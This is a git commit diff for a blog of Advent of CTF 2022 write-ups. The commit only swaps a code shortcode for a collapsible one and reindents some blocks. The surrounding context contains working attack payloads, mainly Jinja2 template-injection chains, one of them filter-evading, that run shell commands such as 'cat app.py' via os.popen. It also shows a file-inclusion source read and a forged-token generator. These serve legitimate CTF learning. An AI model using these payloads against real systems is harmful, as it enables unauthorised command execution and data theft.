Improve collapsable code to be reusable

This commit is contained in:
2024-12-30 18:08:57 +01:00
parent 7481185e14
commit fc16fb4046
24 changed files with 375 additions and 377 deletions
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 1300
- Points: 1300
## Description
@@ -117,7 +117,7 @@ Let's try to use the previous attack but with the flag file:
We get a big error:
{{< code language="html" title="Error message" >}}
{{< collapsible-block badge="html" title="Error message" >}}
```html
<br />
@@ -183,7 +183,7 @@ line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br />
<b>/var/www/html/index.php</b> on line <b>43</b><br />
```
{{< /code >}}
{{< /collapsible-block >}}
We probably got it because PHP is actually handling the PHP file as a PHP file 😀. This means we have to get it in some other way.
@@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 1600
- Points: 1600
## Description
@@ -41,12 +41,12 @@ When opening the source of the page we also find the following comment: "Here is
```js
function send() {
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
}
```
@@ -74,7 +74,7 @@ This means the server is most likely using either Jinja2 of Twig.
Now that we found the vulnerability, we can start exploiting it. Let's start by getting the config. We can try to get it by entering `{{config}}` or `{{config.items()}}` as the emoji.
{{< code language="python" title="Result" >}}
{{< collapsible-block badge="python" title="Result" >}}
```python
dict_items([
@@ -224,7 +224,7 @@ dict_items([
])
```
{{< /code >}}
{{< /collapsible-block >}}
If we take a look at it we find an item called 'flag' but it looks like it is encrypted in some way:
@@ -282,7 +282,7 @@ The source of the server is probably `app.py` as it's the default for flask appl
config.__class__.__init__.__globals__['os'].popen('cat app.py').read()
```
{{< code language="python" title="app.py" >}}
{{< collapsible-block badge="python" title="app.py" >}}
```python
import random
@@ -332,7 +332,7 @@ if __name__ == '__main__':
```
{{< /code >}}
{{< /collapsible-block >}}
When looking at the file, we see that the flag variable is set to the output of the `magic` function:
@@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 1700
- Points: 1700
## Description
@@ -41,12 +41,12 @@ When opening the source of the page we also find the following comment: "Here is
```js
function send() {
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
}
```
@@ -154,7 +154,7 @@ To get the subclasses, we first have to convert `''.__class__.__mro__[1].__subcl
After submitting this, we get the following result:
{{< code language="text" title="Result" >}}
{{< collapsible-block badge="text" title="Result" >}}
```js
[
@@ -643,7 +643,7 @@ After submitting this, we get the following result:
]
```
{{< /code >}}
{{< /collapsible-block >}}
In this result we find the following class: `<class 'os._wrap_close'>`. This is the `os` module and it is on index `127`. We can verify it's index by getting it from the submodules list using the following input:
@@ -680,7 +680,7 @@ Now let's grab the contents of `app.py`:
{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }}
```
{{< code language="python" title="app.py" >}}
{{< collapsible-block badge="python" title="app.py" >}}
```py
import random
@@ -732,7 +732,7 @@ if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
```
{{< /code >}}
{{< /collapsible-block >}}
## Magic function
+109 -89
View File
@@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 2200
- Points: 2200
## Description
@@ -49,8 +49,8 @@ When opening the page, we will see a broken image, this is expected as the file
```html
<img
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
width="100%"
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
width="100%"
/>
```
@@ -80,64 +80,71 @@ Alas, we get the cat picture again. That's weird. There might be a filter on the
Using the same decoding method, we get the following result:
{{< code language="php" title="index.php" >}}
{{< collapsible-block badge="php" title="index.php" >}}
```html
<!DOCTYPE html>
<html class="no-js" lang="">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Advent of CTF 22</title>
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Advent of CTF 22</title>
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="style.css" type="text/css" media="screen" />
<link
rel="stylesheet"
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
crossorigin="anonymous"
/>
<style>
.row-margin-05 {
margin-top: 0.5em;
}
.row-margin-10 {
margin-top: 1em;
}
.row-margin-20 {
margin-top: 2em;
}
.row-margin-30 {
margin-top: 3em;
}
</style>
</head>
<body>
<div class="jumbotron bg-transparent mb-0 radius-0">
<div class="container fluid">
<div class="row">
<div class="col-xl-6 mx-auto">
<h1 class="display-2">
Advent of CTF <span class="vim-caret">22</span>
</h1>
<div class="lead mb-3 text-mono text-warning">
Your daily dose of CTF for December
</div>
<link
rel="stylesheet"
href="style.css"
type="text/css"
media="screen"
/>
<link
rel="stylesheet"
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
crossorigin="anonymous"
/>
<style>
.row-margin-05 {
margin-top: 0.5em;
}
.row-margin-10 {
margin-top: 1em;
}
.row-margin-20 {
margin-top: 2em;
}
.row-margin-30 {
margin-top: 3em;
}
</style>
</head>
<body>
<div class="jumbotron bg-transparent mb-0 radius-0">
<div class="container fluid">
<div class="row">
<div class="col-xl-6 mx-auto">
<h1 class="display-2">
Advent of CTF <span class="vim-caret">22</span>
</h1>
<div class="lead mb-3 text-mono text-warning">
Your daily dose of CTF for December
</div>
<div class="row">
<div class="col-xl-12 mx-auto">
<div class="card">
<div class="card-header text-center">
<h2>The big reveal</h2>
</div>
<div class="card-body">
<?php
<div class="row">
<div class="col-xl-12 mx-auto">
<div class="card">
<div class="card-header text-center">
<h2>The big reveal</h2>
</div>
<div class="card-body">
<?php
if (!isset($_GET["image"])) {
?>
<a href="/index.php?image=cat.jpg">Is this santa?</a>
<?php
<a href="/index.php?image=cat.jpg"
>Is this santa?</a
>
<?php
} else {
$path = $_GET["image"];
if (strpos($path,"secret") !== false) {
@@ -145,49 +152,62 @@ Using the same decoding method, we get the following result:
}
$image = file_get_contents($path);
echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
} ?>
</div>
<div class="card-footer text-center">Almost there</div>
</div>
</div>
</div>
<div class="row row-margin-30">
<div class="card mb-3 bg-dark text-white">
<div class="card-body">
<div class="row">
<div class="col-md-2">
<img src="/logo.png" />
} ?>
</div>
<div class="card-footer text-center">
Almost there
</div>
</div>
</div>
</div>
<div class="row row-margin-30">
<div class="card mb-3 bg-dark text-white">
<div class="card-body">
<div class="row">
<div class="col-md-2">
<img src="/logo.png" />
</div>
<div
class="col-md-9 offset-md-1 align-middle"
>
<p class="text-center">
<span class="align-middle">
The Advent of CTF is brought
to you by
<a href="http://www.novi.nl"
>NOVI Hogeschool</a
>. It is built by
<a
href="https://twitter.com/credmp/"
class="icoTwitter"
title="Twitter"
><i
class="fab fa-twitter"
></i>
@credmp</a
>. If you are looking for a
Dutch Cyber Security
Bachelor degree or bootcamp,
<a
href="https://www.novi.nl"
>check us out</a
>.
</span>
</p>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-9 offset-md-1 align-middle">
<p class="text-center">
<span class="align-middle">
The Advent of CTF is brought to you by
<a href="http://www.novi.nl">NOVI Hogeschool</a>. It
is built by
<a
href="https://twitter.com/credmp/"
class="icoTwitter"
title="Twitter"
><i class="fab fa-twitter"></i> @credmp</a
>. If you are looking for a Dutch Cyber Security
Bachelor degree or bootcamp,
<a href="https://www.novi.nl">check us out</a>.
</span>
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</body>
</html>
```
{{< /code >}}
{{< /collapsible-block >}}
Just the PHP part:
@@ -26,7 +26,7 @@ aliases = [
]
+++
- Points: 2400
- Points: 2400
## Description
@@ -97,7 +97,7 @@ In [3]: pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAA
This time our board is quite a bit larger:
{{< code language="py" title="Board" >}}
{{< collapsible-block badge="py" title="Board" >}}
```py
{
@@ -179,7 +179,7 @@ This time our board is quite a bit larger:
}
```
{{< /code >}}
{{< /collapsible-block >}}
We can see that a `chain` value has been added. From the title of this challenge, we can say that this is the blockchain that we likely have to bypass.
@@ -230,7 +230,7 @@ We can see that, to verify the game, the function loops through all the blocks i
To crack this, we can simply reverse this algorithm. To do this, I grabbed the script from the HTML source, and added a crack method like so:
{{< code language="py" title="solve.py" >}}
{{< collapsible-block badge="py" title="solve.py" >}}
```python
import hashlib
@@ -304,7 +304,7 @@ if __name__ == "__main__":
print(export_base64(game))
```
{{< /code >}}
{{< /collapsible-block >}}
After running this script, we get the following result:
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 400
- Points: 400
## Description
@@ -36,64 +36,64 @@ Visit <https://04.adventofctf.com> to start the challenge.
When opening the website we're (for the first time) not provided with a login form. It is still authentication though as we are greeted with a message: "If you have access to it the special present will be shown below:". Also, I noticed the URL changed after about five seconds. That hints at some javascript, so let's open the sources tab in devtools. We find `login.js`.
{{< code language="js" title="login.js" >}}
{{< collapsible-block badge="js" title="login.js" >}}
```js
function startup() {
key = localStorage.getItem("key");
key = localStorage.getItem("key");
if (key === null) {
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
}
if (key === null) {
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
}
}
var _0x1fde = ["charCodeAt"];
(function (_0x93ff3a, _0x1fded8) {
var _0x39b47b = function (_0x54f1d3) {
while (--_0x54f1d3) {
_0x93ff3a["push"](_0x93ff3a["shift"]());
}
};
_0x39b47b(++_0x1fded8);
var _0x39b47b = function (_0x54f1d3) {
while (--_0x54f1d3) {
_0x93ff3a["push"](_0x93ff3a["shift"]());
}
};
_0x39b47b(++_0x1fded8);
})(_0x1fde, 0x192);
var _0x39b4 = function (_0x93ff3a, _0x1fded8) {
_0x93ff3a = _0x93ff3a - 0x0;
var _0x39b47b = _0x1fde[_0x93ff3a];
return _0x39b47b;
_0x93ff3a = _0x93ff3a - 0x0;
var _0x39b47b = _0x1fde[_0x93ff3a];
return _0x39b47b;
};
function calculate(_0x54f1d3) {
var _0x58628b = _0x39b4,
_0xc289d4 = 0x0;
for (let _0x19ddf3 in text) {
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
}
return _0xc289d4;
var _0x58628b = _0x39b4,
_0xc289d4 = 0x0;
for (let _0x19ddf3 in text) {
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
}
return _0xc289d4;
}
function check() {
key = localStorage.getItem("key");
hash = window.location.search.split("?")[1];
key = localStorage.getItem("key");
hash = window.location.search.split("?")[1];
if (key !== null && hash != "token=" + key) {
parts = key.split(".");
text = atob(parts[0]);
checksum = parseInt(parts[1]);
if (key !== null && hash != "token=" + key) {
parts = key.split(".");
text = atob(parts[0]);
checksum = parseInt(parts[1]);
count = calculate(text);
count = calculate(text);
if (count == checksum) {
setTimeout(function () {
window.location = "index.php?token=" + key;
}, 5000);
if (count == checksum) {
setTimeout(function () {
window.location = "index.php?token=" + key;
}, 5000);
}
}
}
}
startup();
check();
```
{{< /code >}}
{{< /collapsible-block >}}
This looks like some obfuscated code. So I started with de-obfuscating the code. After a few minutes of reading the code, I remembered to always start at the output. And after looking at the `check()` function I found out I had wasted my time.
@@ -101,42 +101,42 @@ As it turns out, we don't need to know what the obfuscated code does. If we read
```js
function check() {
// Get key from localStorage
// The key is initialized in startup()
// > "eyJ1c2VyaWQiOjB9.1074"
key = localStorage.getItem("key");
// Get key from localStorage
// The key is initialized in startup()
// > "eyJ1c2VyaWQiOjB9.1074"
key = localStorage.getItem("key");
// Get the token from the url
// > "token=eyJ1c2VyaWQiOjB9.1074"
hash = window.location.search.split("?")[1];
// Get the token from the url
// > "token=eyJ1c2VyaWQiOjB9.1074"
hash = window.location.search.split("?")[1];
// If key and hash are not empty:
if (key !== null && hash != "token=" + key) {
// Split the key by a .
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
parts = key.split(".");
// If key and hash are not empty:
if (key !== null && hash != "token=" + key) {
// Split the key by a .
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
parts = key.split(".");
// Decode the base64 from the first part of the key
// > "{"userid":0}"
text = atob(parts[0]);
// Decode the base64 from the first part of the key
// > "{"userid":0}"
text = atob(parts[0]);
// Get the value of the second part of the key as an int
// > 1074
checksum = parseInt(parts[1]);
// Get the value of the second part of the key as an int
// > 1074
checksum = parseInt(parts[1]);
// Calculate the value of text
// > 1074
count = calculate(text);
// Calculate the value of text
// > 1074
count = calculate(text);
// If the last part of the key is correct:
if (count == checksum) {
// Execute this function after 5000ms
setTimeout(function () {
// Execute a get request with the token parameter
window.location = "index.php?token=" + key;
}, 5000);
// If the last part of the key is correct:
if (count == checksum) {
// Execute this function after 5000ms
setTimeout(function () {
// Execute a get request with the token parameter
window.location = "index.php?token=" + key;
}, 5000);
}
}
}
}
```
@@ -148,14 +148,14 @@ Let's turn this into some code:
```js
function generateHash(input) {
// Set the global text variable defined in
// login.js, otherwise calculate doesn't work
text = input;
// Set the global text variable defined in
// login.js, otherwise calculate doesn't work
text = input;
let count = calculate(text);
let key = btoa(text) + "." + count;
let count = calculate(text);
let key = btoa(text) + "." + count;
console.log(key);
console.log(key);
}
generateHash('{"userid":0}');
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 600
- Points: 600
## Description
@@ -72,7 +72,7 @@ As you can see the string is escaped and the result of this query will have the
When submitting it I got the following result:
{{< code language="text" title="Result" >}}
{{< collapsible-block badge="text" title="Result" >}}
```markdown
| id | Description | Proof |
@@ -244,7 +244,7 @@ When submitting it I got the following result:
| secrets | 2-------- | 3------- |
```
{{< /code >}}
{{< /collapsible-block >}}
## Solution